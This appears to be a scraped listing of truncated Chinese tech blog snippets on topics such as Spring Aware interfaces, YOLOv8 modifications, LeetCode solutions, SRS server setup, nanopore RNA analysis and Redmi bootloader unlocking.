Spring容器可以在Bean初始化的时候&#xff0c;自动注入一些特定信息&#xff08;如beanfactory&#xff09;,使得bean可以轻松的访问其他Bean的实例&#xff0c;简化代码&#xff0c;避免了显式的注入。 Spring提供了很多Aware的接口,如下&#xff1a; 拿其中的BeanFactoryAwa…

全频段覆盖的卫星通信模块-灵活应对多应用场景

LoRa1121是采用SEMTECH的LR1121芯片&#xff0c;这是一款超低功耗、远程LoRa收发器&#xff0c;支持Sub-GHz和全球2.4GHz频谱中的地面ISM频段通信&#xff0c;且支持用于卫星连接的S频段。LoRa1121支持LoRa&#xff0c;(G)FSK调制&#xff0c;Sigfox协议&#xff0c;以及&#…

SRS流媒体服务器从入门到精通(其一,环境搭建)

欢迎诸位来阅读在下的博文~ 在这里&#xff0c;在下会不定期发表一些浅薄的知识和经验&#xff0c;望诸位能与在下多多交流&#xff0c;共同努力! 江山如画&#xff0c;客心如若&#xff0c;欢迎到访&#xff0c;一展风采 文章目录 一、SRS简介二、SRS的应用场景三、环境搭建…

Leetcode - 周赛414

目录 一&#xff0c;3280. 将日期转换为二进制表示 二&#xff0c;3281. 范围内整数的最大得分 三&#xff0c;3282. 到达数组末尾的最大得分 四&#xff0c;3283. 吃掉所有兵需要的最多移动次数 一&#xff0c;3280. 将日期转换为二进制表示 本题就是简单的字符串和整数之…

爆改YOLOv8|利用yolov9的ADown改进卷积Conv-轻量化

1&#xff0c;本文介绍 本文将利用YOLOv9的ADown模块改进卷积。 关于ADown的详细介绍可以看论文&#xff1a;https://arxiv.org/abs/2402.13616 本文将讲解如何将ADown融合进yolov8 话不多说&#xff0c;上代码&#xff01; 2&#xff0c; 将ADown融合进yolov8 2.1 步骤一…

【高中物理】用代码缩写胡克定律公式原理图

用代码缩写胡克定律公式原理图 代码实现了以下功能&#xff1a; 交互式滑块&#xff1a;用户可以通过滑块调整弹簧的弹性系数&#xff08;k&#xff09;、拉力大小&#xff08;F&#xff09;和弹簧的原长&#xff08;l0&#xff09;&#xff0c;实时观察弹簧的伸长和受力变化。…

在VB.net中,TimeSpan有什么属性与方法

标题 在VB.net中&#xff0c;TimeSpan有什么属性与方法 正文 在 VB.NET 中&#xff0c;TimeSpan 结构表示时间间隔&#xff0c;即一段时间&#xff0c;而不表示特定的时间点。TimeSpan 提供了多种属性来获取时间间隔的各个组成部分&#xff0c;以及一些方法来操作这些时间间隔。…

【观察者】设计模式:构建灵活且响应式的软件系统

引言 在软件开发中&#xff0c;我们经常面临需要在多个对象之间进行通信的挑战。特别是当一个对象的状态发生变化时&#xff0c;我们希望所有依赖于这个状态的对象都能自动更新。这就是观察者设计模式大显身手的地方。 简介 观察者模式是一种行为设计模式&#xff0c;它定义…

基于vue框架的城市交通管理系统的设计与实现9fcck(程序+源码+数据库+调试部署+开发环境)系统界面在最后面。

系统程序文件列表 项目功能&#xff1a;用户,区域,车站信息,公交线路 开题报告内容 基于Vue框架的城市交通管理系统的设计与实现开题报告 一、研究背景与意义 1.1 研究背景 随着城市化进程的加速&#xff0c;城市交通问题日益严峻&#xff0c;包括交通拥堵、交通事故频发、…

“CSDN独家揭秘:AIGC技术在AI绘画领域的应用与学习攻略”

导语&#xff1a;人工智能的发展正推动着内容创作的革新&#xff0c;AIGC&#xff08;AI Generated Content&#xff09;技术便是其中的佼佼者。本文将带您领略AIGC在AI绘画领域的魅力&#xff0c;并分享一些学习资源和路径&#xff0c;助您在艺术与技术交汇的旅途中更进一步。…

山东省行政执法证照片要求及图像处理方法

在山东省&#xff0c;行政执法证是执法人员身份的重要标识&#xff0c;其照片的规范性对于证件的有效性至关重要。本文将详细介绍山东省行政执法证照片的要求&#xff0c;并提供使用手机相机拍照的实用方法&#xff0c;以确保照片符合标准。 一、山东省行政人员执法证照片拍摄要…

表情迁移大法,LivePortrait 帮你快速处理图片!

LivePortrait 由快手可灵大模型团队开源&#xff0c;主要功能包括从单一图像生成生动动画、精确控制眼睛和嘴唇的动作、处理多个人物肖像的无缝拼接、支持多风格肖像、生成高分辨率动画等。该项目使用的是基于隐式关键点框架的 AI 肖像动画生成框架。它能够将驱动视频的表情和姿…

sql语句的训练2024/9/9

1题 需要看清思路&#xff1a;不是将数据库中的device_id的名字改为user_infors_example&#xff0c;而是在查找的时候&#xff0c;需要将device_id看成user_infors_example来进行查找。 答案 select device_id AS user_infos_example FROM user_profile limit 2 2 当固定查找…

Leangoo敏捷工具在缺陷跟踪(BUG)管理中的高效应用

在开发过程中&#xff0c;缺陷&#xff08;BUG&#xff09;管理一直是项目管理中的一个关键环节。及时发现并修复BUG&#xff0c;不仅能够提高产品质量&#xff0c;还能有效提升团队的工作效率和用户满意度。 在敏捷开发中&#xff0c;快速迭代和频繁交付的特点使得缺陷管理的…

2024.09.04【读书笔记】|如何使用Tombo进行Nanopore Direct RNA-seq(DRS)分析

文章目录 Tombo快速使用介绍模型介绍RNA修饰分析步骤特异性替代碱基检测&#xff08;推荐&#xff09;De novo canonical model comparison ONT全长转录组分析步骤疑难解答Minimap2在比对nanopore直接RNA-seq数据时的最佳实践和参数设置有哪些&#xff1f;featureCounts在进行R…

红米K60U/K50/Note11TPro澎湃OS无法绑定账号解锁BL-不能激活小米账号

小米澎湃OS对于解锁BL&#xff0c;新增了各种限制&#xff0c;早前我们还能使用bypass脚本来实现澎湃OS上绑 定账号成功&#xff0c;但随着澎湃OS七月系统上的推送&#xff0c;旧版的bypass已经彻底失效&#xff0c;并且无法安装 旧版的设置APK来解决问题。此次涉及的机型有红米…

【Java】实体类Javabean的运用案例

文章目录 前言一、定义一个操作类专门处理数据二、代码总结 前言 实体类Javabean的运用案例&#xff0c;现在需要把数据与业务串联起来。 一、定义一个操作类专门处理数据 这里定义了一个叫DogOperator的类&#xff0c;专门用来处理Dog类里面的数据。 解析&#xff1a; 要把…